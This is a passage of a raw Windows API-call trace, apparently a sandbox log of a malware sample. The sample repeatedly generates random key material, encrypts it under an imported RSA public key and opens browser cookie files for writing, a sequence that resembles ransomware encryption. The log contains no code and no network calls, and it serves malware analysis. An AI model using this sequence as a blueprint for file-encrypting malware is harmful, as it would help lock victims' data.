0xffffffff [0175.504] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.506] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.506] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.506] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.507] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.507] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.507] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.508] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.510] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609340) returned 1 [0175.510] CryptGetKeyParam (in: hKey=0x3609340, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.510] CryptEncrypt (in: hKey=0x3609340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4aa0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4aa0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.510] GetLastError () returned 0x0 [0175.510] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.510] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.512] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609380) returned 1 [0175.512] CryptGetKeyParam (in: hKey=0x3609380, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.512] CryptEncrypt (in: hKey=0x3609380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ab0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4ab0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.512] GetLastError () returned 0x0 [0175.512] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\P778SMC9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\p778smc9.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.512] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.514] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.514] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.514] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.514] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0175.515] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.516] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.516] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.516] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.516] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.518] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609400) returned 1 [0175.518] CryptGetKeyParam (in: hKey=0x3609400, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.518] CryptEncrypt (in: hKey=0x3609400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ac0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4ac0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.518] GetLastError () returned 0x0 [0175.518] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.518] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0175.520] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609500) returned 1 [0175.520] CryptGetKeyParam (in: hKey=0x3609500, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.520] CryptEncrypt (in: hKey=0x3609500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ad0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4ad0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.521] GetLastError () returned 0x0 [0175.521] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.521] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PF9HBAFQ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pf9hbafq.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.521] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.522] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.523] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.523] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.523] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.524] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.524] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.524] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.524] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.526] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655b98) returned 1 [0175.526] CryptGetKeyParam (in: hKey=0x3655b98, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.526] CryptEncrypt (in: hKey=0x3655b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4ae0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4ae0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.526] GetLastError () returned 0x0 [0175.526] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.526] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.528] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655a58) returned 1 [0175.528] CryptGetKeyParam (in: hKey=0x3655a58, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.528] CryptEncrypt (in: hKey=0x3655a58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4af0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4af0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.529] GetLastError () returned 0x0 [0175.529] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.529] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\PK3I34UV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\pk3i34uv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.529] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.531] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.531] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.531] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.531] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.532] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.532] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.532] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.535] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655a98) returned 1 [0175.535] CryptGetKeyParam (in: hKey=0x3655a98, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.535] CryptEncrypt (in: hKey=0x3655a98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4b00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.535] GetLastError () returned 0x0 [0175.535] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.535] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.537] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655598) returned 1 [0175.537] CryptGetKeyParam (in: hKey=0x3655598, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.537] CryptEncrypt (in: hKey=0x3655598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4b10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.537] GetLastError () returned 0x0 [0175.537] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.537] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\QUMCK8L4.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\qumck8l4.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.537] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.539] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.539] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.539] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.539] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.540] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.541] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.541] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.544] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655958) returned 1 [0175.544] CryptGetKeyParam (in: hKey=0x3655958, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.544] CryptEncrypt (in: hKey=0x3655958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b20000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4b20000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.544] GetLastError () returned 0x0 [0175.544] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.544] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655b18) returned 1 [0175.546] CryptGetKeyParam (in: hKey=0x3655b18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.546] CryptEncrypt (in: hKey=0x3655b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b30000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4b30000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.547] GetLastError () returned 0x0 [0175.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.547] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RAYRHE6Z.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rayrhe6z.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.547] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.548] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.549] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.549] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.549] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.550] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.550] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.550] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.550] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.552] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655858) returned 1 [0175.552] CryptGetKeyParam (in: hKey=0x3655858, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.552] CryptEncrypt (in: hKey=0x3655858, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4b40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.553] GetLastError () returned 0x0 [0175.553] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.553] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.555] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655ad8) returned 1 [0175.555] CryptGetKeyParam (in: hKey=0x3655ad8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.555] CryptEncrypt (in: hKey=0x3655ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4b50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.555] GetLastError () returned 0x0 [0175.555] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.555] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RQK5QF4L.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rqk5qf4l.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.555] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.557] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.557] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.557] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.557] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.558] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.558] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.558] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.558] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.561] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655998) returned 1 [0175.561] CryptGetKeyParam (in: hKey=0x3655998, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.561] CryptEncrypt (in: hKey=0x3655998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4b60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.561] GetLastError () returned 0x0 [0175.561] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.561] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.563] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3655d58) returned 1 [0175.563] CryptGetKeyParam (in: hKey=0x3655d58, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.563] CryptEncrypt (in: hKey=0x3655d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4b70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4b70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.563] GetLastError () returned 0x0 [0175.563] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.563] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\RTEPN67M.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\rtepn67m.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.563] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.564] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.565] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.565] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.565] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.565] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.566] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.566] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 